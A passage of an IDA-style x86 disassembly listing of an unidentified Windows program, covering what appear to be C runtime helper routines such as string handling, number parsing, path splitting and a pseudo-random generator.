--------------------------------------------------------------------------- loc_41C264: ; CODE XREF: sub_41C24C+9j pop esi retn sub_41C24C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C266 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C2A6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C2B3 ; --------------------------------------------------------------------------- loc_41C2A6: ; CODE XREF: sub_41C266+36j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41C2B3: ; CODE XREF: sub_41C266+3Ej mov eax, esi pop esi leave retn sub_41C266 endp ; =============== S U B R O U T I N E ======================================= sub_41C2B8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+315Ep ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43AE10, eax retn sub_41C2B8 endp ; =============== S U B R O U T I N E ======================================= sub_41C2C2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43AE10 imul eax, 343FDh add eax, 269EC3h mov dword_43AE10, eax sar eax, 10h and eax, 7FFFh retn sub_41C2C2 endp ; =============== S U B R O U T I N E ======================================= sub_41C2E0 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41C35A mov dh, [ecx+1] test dh, dh jz short loc_41C347 loc_41C2F8: ; CODE XREF: sub_41C2E0+52j ; sub_41C2E0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41C31A test al, al jz short loc_41C314 loc_41C309: ; CODE XREF: sub_41C2E0+32j mov al, [esi] inc esi loc_41C30C: ; CODE XREF: sub_41C2E0+3Fj cmp al, dl jz short loc_41C31A test al, al jnz short loc_41C309 loc_41C314: ; CODE XREF: sub_41C2E0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C31A: ; CODE XREF: sub_41C2E0+23j ; sub_41C2E0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41C30C lea edi, [esi-1] loc_41C324: ; CODE XREF: sub_41C2E0+63j mov ah, [ecx+2] test ah, ah jz short loc_41C353 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41C2F8 mov al, [ecx+3] test al, al jz short loc_41C353 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41C324 jmp short loc_41C2F8 ; --------------------------------------------------------------------------- loc_41C347: ; CODE XREF: sub_41C2E0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41C996 ; --------------------------------------------------------------------------- loc_41C353: ; CODE XREF: sub_41C2E0+49j ; sub_41C2E0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41C35A: ; CODE XREF: sub_41C2E0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41C2E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C360 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C15p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C39F mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C3AC ; --------------------------------------------------------------------------- loc_41C39F: ; CODE XREF: sub_41C360+35j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41C3AC: ; CODE XREF: sub_41C360+3Dj mov eax, esi pop esi leave retn sub_41C360 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C3B1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+2177p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41B9C0 cmp eax, 1 pop ecx jb short loc_41C3EC cmp byte ptr [ebx+1], 3Ah jnz short loc_41C3EC mov esi, [ebp+arg_4] test esi, esi jz short loc_41C3E8 push 2 push ebx push esi call sub_420B29 add esp, 0Ch and byte ptr [esi+2], 0 loc_41C3E8: ; CODE XREF: sub_41C3B1+25j inc ebx inc ebx jmp short loc_41C3F6 ; --------------------------------------------------------------------------- loc_41C3EC: ; CODE XREF: sub_41C3B1+18j ; sub_41C3B1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41C3F6 and byte ptr [eax], 0 loc_41C3F6: ; CODE XREF: sub_41C3B1+39j ; sub_41C3B1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41C46E loc_41C409: ; CODE XREF: sub_41C3B1+87j mov cl, [eax] movzx edx, cl test byte_4DD281[edx], 4 jz short loc_41C41A inc eax jmp short loc_41C434 ; --------------------------------------------------------------------------- loc_41C41A: ; CODE XREF: sub_41C3B1+64j cmp cl, 2Fh jz short loc_41C42E cmp cl, 5Ch jz short loc_41C42E cmp cl, 2Eh jnz short loc_41C434 mov [ebp+var_4], eax jmp short loc_41C434 ; --------------------------------------------------------------------------- loc_41C42E: ; CODE XREF: sub_41C3B1+6Cj ; sub_41C3B1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41C434: ; CODE XREF: sub_41C3B1+67j ; sub_41C3B1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41C409 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41C46E cmp [ebp+arg_8], 0 jz short loc_41C469 sub edi, ebx cmp edi, esi jb short loc_41C452 mov edi, esi loc_41C452: ; CODE XREF: sub_41C3B1+9Dj push edi push ebx push [ebp+arg_8] call sub_420B29 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C469: ; CODE XREF: sub_41C3B1+97j mov ebx, [ebp+arg_4] jmp short loc_41C478 ; --------------------------------------------------------------------------- loc_41C46E: ; CODE XREF: sub_41C3B1+56j ; sub_41C3B1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41C478 and byte ptr [ecx], 0 loc_41C478: ; CODE XREF: sub_41C3B1+BBj ; sub_41C3B1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41C4CB cmp edi, ebx jb short loc_41C4CB cmp [ebp+arg_C], 0 jz short loc_41C4A8 sub edi, ebx cmp edi, esi jb short loc_41C491 mov edi, esi loc_41C491: ; CODE XREF: sub_41C3B1+DCj push edi push ebx push [ebp+arg_C] call sub_420B29 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C4A8: ; CODE XREF: sub_41C3B1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41C4F3 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41C4B8 mov esi, eax loc_41C4B8: ; CODE XREF: sub_41C3B1+103j push esi push [ebp+var_4] push edi call sub_420B29 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41C4F3 ; --------------------------------------------------------------------------- loc_41C4CB: ; CODE XREF: sub_41C3B1+CCj ; sub_41C3B1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41C4E9 sub eax, ebx cmp eax, esi jnb short loc_41C4DA mov esi, eax loc_41C4DA: ; CODE XREF: sub_41C3B1+125j push esi push ebx push edi call sub_420B29 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41C4E9: ; CODE XREF: sub_41C3B1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41C4F3 and byte ptr [eax], 0 loc_41C4F3: ; CODE XREF: sub_41C3B1+FCj ; sub_41C3B1+118j ... pop edi pop esi pop ebx leave retn sub_41C3B1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C500 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41C520 loc_41C50C: ; CODE XREF: sub_41C500+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41C50C loc_41C520: ; CODE XREF: sub_41C500+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41C500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C52F proc near ; CODE XREF: sub_401ACD+73F5p ; sub_401ACD+7424p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41C543 xor eax, eax jmp short loc_41C579 ; --------------------------------------------------------------------------- loc_41C543: ; CODE XREF: sub_41C52F+Ej dec [ebp+arg_4] push esi jz short loc_41C573 mov esi, [ebp+arg_8] loc_41C54C: ; CODE XREF: sub_41C52F+42j dec dword ptr [esi+4] js short loc_41C55B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41C562 ; --------------------------------------------------------------------------- loc_41C55B: ; CODE XREF: sub_41C52F+20j push esi call sub_41F8E3 pop ecx loc_41C562: ; CODE XREF: sub_41C52F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41C57D mov [edi], al inc edi cmp al, 0Ah jz short loc_41C573 dec [ebp+arg_4] jnz short loc_41C54C loc_41C573: ; CODE XREF: sub_41C52F+18j ; sub_41C52F+3Dj ... and byte ptr [edi], 0 loc_41C576: ; CODE XREF: sub_41C52F+55j mov eax, ebx pop esi loc_41C579: ; CODE XREF: sub_41C52F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41C57D: ; CODE XREF: sub_41C52F+36j cmp edi, [ebp+arg_0] jnz short loc_41C573 xor ebx, ebx jmp short loc_41C576 sub_41C52F endp ; =============== S U B R O U T I N E ======================================= sub_41C586 proc near ; CODE XREF: ___:0041E645p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C59D add esp, 10h retn sub_41C586 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C59D proc near ; CODE XREF: sub_41C586+Ep ; sub_41C7A5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41C5B5: ; CODE XREF: sub_41C59D+46j cmp dword_43D094, 1 jle short loc_41C5CD movzx eax, bl push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_41C5DC ; --------------------------------------------------------------------------- loc_41C5CD: ; CODE XREF: sub_41C59D+1Fj mov ecx, off_43CE88 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41C5DC: ; CODE XREF: sub_41C59D+2Ej test eax, eax jz short loc_41C5E5 mov bl, [esi] inc esi jmp short loc_41C5B5 ; --------------------------------------------------------------------------- loc_41C5E5: ; CODE XREF: sub_41C59D+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41C5F3 or [ebp+arg_C], 2 jmp short loc_41C5F8 ; --------------------------------------------------------------------------- loc_41C5F3: ; CODE XREF: sub_41C59D+4Ej cmp bl, 2Bh jnz short loc_41C5FE loc_41C5F8: ; CODE XREF: sub_41C59D+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41C5FE: ; CODE XREF: sub_41C59D+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41C795 cmp eax, 1 jz loc_41C795 cmp eax, 24h jg loc_41C795 push 10h test eax, eax pop ecx jnz short loc_41C646 cmp bl, 30h jz short loc_41C630 mov [ebp+arg_8], 0Ah jmp short loc_41C662 ; --------------------------------------------------------------------------- loc_41C630: ; CODE XREF: sub_41C59D+88j mov al, [esi] cmp al, 78h jz short loc_41C643 cmp al, 58h jz short loc_41C643 mov [ebp+arg_8], 8 jmp short loc_41C662 ; --------------------------------------------------------------------------- loc_41C643: ; CODE XREF: sub_41C59D+97j ; sub_41C59D+9Bj mov [ebp+arg_8], ecx loc_41C646: ; CODE XREF: sub_41C59D+83j cmp [ebp+arg_8], ecx jnz short loc_41C662 cmp bl, 30h jnz short loc_41C662 mov al, [esi] cmp al, 78h jz short loc_41C65A cmp al, 58h jnz short loc_41C662 loc_41C65A: ; CODE XREF: sub_41C59D+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41C662: ; CODE XREF: sub_41C59D+91j ; sub_41C59D+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41C672: ; CODE XREF: sub_41C59D+16Cj cmp dword_43D094, 1 movzx esi, bl jle short loc_41C68A push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C695 ; --------------------------------------------------------------------------- loc_41C68A: ; CODE XREF: sub_41C59D+DFj mov eax, off_43CE88 mov al, [eax+esi*2] and eax, 4 loc_41C695: ; CODE XREF: sub_41C59D+EBj test eax, eax jz short loc_41C6A1 movsx ecx, bl sub ecx, 30h jmp short loc_41C6D3 ; --------------------------------------------------------------------------- loc_41C6A1: ; CODE XREF: sub_41C59D+FAj cmp dword_43D094, 1 jle short loc_41C6B5 push edi push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C6C0 ; --------------------------------------------------------------------------- loc_41C6B5: ; CODE XREF: sub_41C59D+10Bj mov eax, off_43CE88 mov ax, [eax+esi*2] and eax, edi loc_41C6C0: ; CODE XREF: sub_41C59D+116j test eax, eax jz short loc_41C70E movsx eax, bl push eax call sub_420BB3 pop ecx mov ecx, eax sub ecx, 37h loc_41C6D3: ; CODE XREF: sub_41C59D+102j cmp ecx, [ebp+arg_8] jnb short loc_41C70E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41C6F8 jnz short loc_41C6F2 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41C6F8 loc_41C6F2: ; CODE XREF: sub_41C59D+147j or [ebp+arg_C], 4 jmp short loc_41C701 ; --------------------------------------------------------------------------- loc_41C6F8: ; CODE XREF: sub_41C59D+145j ; sub_41C59D+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41C701: ; CODE XREF: sub_41C59D+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41C672 ; --------------------------------------------------------------------------- loc_41C70E: ; CODE XREF: sub_41C59D+125j ; sub_41C59D+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41C72C test edx, edx jz short loc_41C726 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41C726: ; CODE XREF: sub_41C59D+181j and [ebp+var_8], 0 jmp short loc_41C779 ; --------------------------------------------------------------------------- loc_41C72C: ; CODE XREF: sub_41C59D+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41C752 test cl, 1 jnz short loc_41C779 and ecx, 2 jz short loc_41C749 cmp [ebp+var_8], 80000000h ja short loc_41C752 loc_41C749: ; CODE XREF: sub_41C59D+1A1j test ecx, ecx jnz short loc_41C779 cmp [ebp+var_8], eax jbe short loc_41C779 loc_41C752: ; CODE XREF: sub_41C59D+197j ; sub_41C59D+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DBDEC, 22h jz short loc_41C768 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41C779 ; --------------------------------------------------------------------------- loc_41C768: ; CODE XREF: sub_41C59D+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41C779: ; CODE XREF: sub_41C59D+18Dj ; sub_41C59D+19Cj ... test edx, edx jz short loc_41C782 mov eax, [ebp+var_4] mov [edx], eax loc_41C782: ; CODE XREF: sub_41C59D+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41C790 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41C790: ; CODE XREF: sub_41C59D+1E9j mov eax, [ebp+var_8] jmp short loc_41C7A0 ; --------------------------------------------------------------------------- loc_41C795: ; CODE XREF: sub_41C59D+66j ; sub_41C59D+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41C79E mov [eax], edi loc_41C79E: ; CODE XREF: sub_41C59D+1FDj xor eax, eax loc_41C7A0: ; CODE XREF: sub_41C59D+1F6j pop edi pop esi pop ebx leave retn sub_41C59D endp ; =============== S U B R O U T I N E ======================================= sub_41C7A5 proc near ; CODE XREF: sub_401ACD+60F0p ; sub_401ACD+6931p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C59D add esp, 10h retn sub_41C7A5 endp ; =============== S U B R O U T I N E ======================================= sub_41C7BC proc near ; CODE XREF: sub_401ACD+58ADp arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 2680158h test eax, eax jnz short loc_41C7D2 nop call near ptr 26808B7h jmp short loc_41C7D4 ; --------------------------------------------------------------------------- loc_41C7D2: ; CODE XREF: sub_41C7BC+Cj xor eax, eax loc_41C7D4: ; CODE XREF: sub_41C7BC+14j test eax, eax jz short loc_41C7E3 push eax call sub_420C7F pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41C7E3: ; CODE XREF: sub_41C7BC+1Aj xor eax, eax retn sub_41C7BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C7E6 proc near ; CODE XREF: sub_401ACD+5801p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420CE6 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41FF3F push [ebp+arg_0] mov edi, eax push esi call sub_420D73 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41C7E6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C820 proc near ; CODE XREF: sub_401ACD+1E1Fp ; sub_401ACD+1E3Ep ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41C841 xor eax, eax jmp short loc_41C843 ; --------------------------------------------------------------------------- loc_41C841: ; CODE XREF: sub_41C820+1Bj mov eax, edi loc_41C843: ; CODE XREF: sub_41C820+1Fj cld pop edi leave retn sub_41C820 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C850 proc near ; CODE XREF: sub_401ACD+854p ; ___:0041E5BDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41C881 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41C87F jz short loc_41C881 dec ecx dec ecx loc_41C87F: ; CODE XREF: sub_41C850+29j not ecx loc_41C881: ; CODE XREF: sub_41C850+9j ; sub_41C850+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41C850 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C890 proc near ; CODE XREF: sub_401ACD+42Dp ; sub_401ACD+2FB3p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41C901 sub_41C890 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C8A0 proc near ; CODE XREF: sub_401ACD+436p ; sub_401ACD+746Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41C8BC loc_41C8AD: ; CODE XREF: sub_41C8A0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41C8EF test ecx, 3 jnz short loc_41C8AD loc_41C8BC: ; CODE XREF: sub_41C8A0+Bj ; sub_41C8A0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41C8BC mov eax, [ecx-4] test al, al jz short loc_41C8FE test ah, ah jz short loc_41C8F9 test eax, 0FF0000h jz short loc_41C8F4 test eax, 0FF000000h jz short loc_41C8EF jmp short loc_41C8BC ; --------------------------------------------------------------------------- loc_41C8EF: ; CODE XREF: sub_41C8A0+12j ; sub_41C8A0+4Bj lea edi, [ecx-1] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8F4: ; CODE XREF: sub_41C8A0+44j lea edi, [ecx-2] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8F9: ; CODE XREF: sub_41C8A0+3Dj lea edi, [ecx-3] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8FE: ; CODE XREF: sub_41C8A0+39j lea edi, [ecx-4] loc_41C901: ; CODE XREF: sub_41C890+5j ; sub_41C8A0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41C926 loc_41C90D: ; CODE XREF: sub_41C8A0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41C978 mov [edi], dl inc edi test ecx, 3 jnz short loc_41C90D jmp short loc_41C926 ; --------------------------------------------------------------------------- loc_41C921: ; CODE XREF: sub_41C8A0+9Ej ; sub_41C8A0+B8j mov [edi], edx add edi, 4 loc_41C926: ; CODE XREF: sub_41C8A0+6Bj ; sub_41C8A0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41C921 test dl, dl jz short loc_41C978 test dh, dh jz short loc_41C96F test edx, 0FF0000h jz short loc_41C962 test edx, 0FF000000h jz short loc_41C95A jmp short loc_41C921 ; --------------------------------------------------------------------------- loc_41C95A: ; CODE XREF: sub_41C8A0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C962: ; CODE XREF: sub_41C8A0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41C96F: ; CODE XREF: sub_41C8A0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C978: ; CODE XREF: sub_41C8A0+72j ; sub_41C8A0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41C8A0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C990 loc_41C980: ; CODE XREF: sub_41C990+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41C990 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C990 proc near ; CODE XREF: sub_401ACD+412p ; sub_401ACD+4B9p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41C996: ; CODE XREF: sub_41C2E0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41C9BB loc_41C9A8: ; CODE XREF: sub_41C990+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41C980 test cl, cl jz short loc_41CA04 test edx, 3 jnz short loc_41C9A8 loc_41C9BB: ; CODE XREF: sub_41C990+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41C9C6: ; CODE XREF: sub_41C990+61j ; sub_41C990+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41CA08 and eax, 81010100h jz short loc_41C9C6 and eax, 1010100h jnz short loc_41CA02 and esi, 80000000h jnz short loc_41C9C6 loc_41CA02: ; CODE XREF: sub_41C990+68j ; sub_41C990+81j ... pop esi pop edi loc_41CA04: ; CODE XREF: sub_41C990+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41CA08: ; CODE XREF: sub_41C990+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41CA45 test al, al jz short loc_41CA02 cmp ah, bl jz short loc_41CA3E test ah, ah jz short loc_41CA02 shr eax, 10h cmp al, bl jz short loc_41CA37 test al, al jz short loc_41CA02 cmp ah, bl jz short loc_41CA30 test ah, ah jz short loc_41CA02 jmp short loc_41C9C6 ; --------------------------------------------------------------------------- loc_41CA30: ; CODE XREF: sub_41C990+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41CA37: ; CODE XREF: sub_41C990+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41CA3E: ; CODE XREF: sub_41C990+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41CA45: ; CODE XREF: sub_41C990+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41C990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41CA50 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41CA9C loc_41CA60: ; CODE XREF: sub_41CA50+3Cj ; sub_41CA50+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+1] jnz short loc_41CA94 or ah, ah jz short loc_41CA90 shr eax, 10h cmp al, [ecx+2] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+3] jnz short loc_41CA94 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41CA60 mov edi, edi loc_41CA90: ; CODE XREF: sub_41CA50+18j ; sub_41CA50+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41CA94: ; CODE XREF: sub_41CA50+14j ; sub_41CA50+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41CA9C: ; CODE XREF: sub_41CA50+Ej test edx, 1 jz short loc_41CAB8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41CA94 inc ecx or al, al jz short loc_41CA90 test edx, 2 jz short loc_41CA60 loc_41CAB8: ; CODE XREF: sub_41CA50+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+1] jnz short loc_41CA94 or ah, ah jz short loc_41CA90 add ecx, 2 jmp short loc_41CA60 sub_41CA50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAD4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41CAED: ; CODE XREF: sub_41CAD4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41CAED mov edx, [ebp+arg_0] test edx, edx jnz short 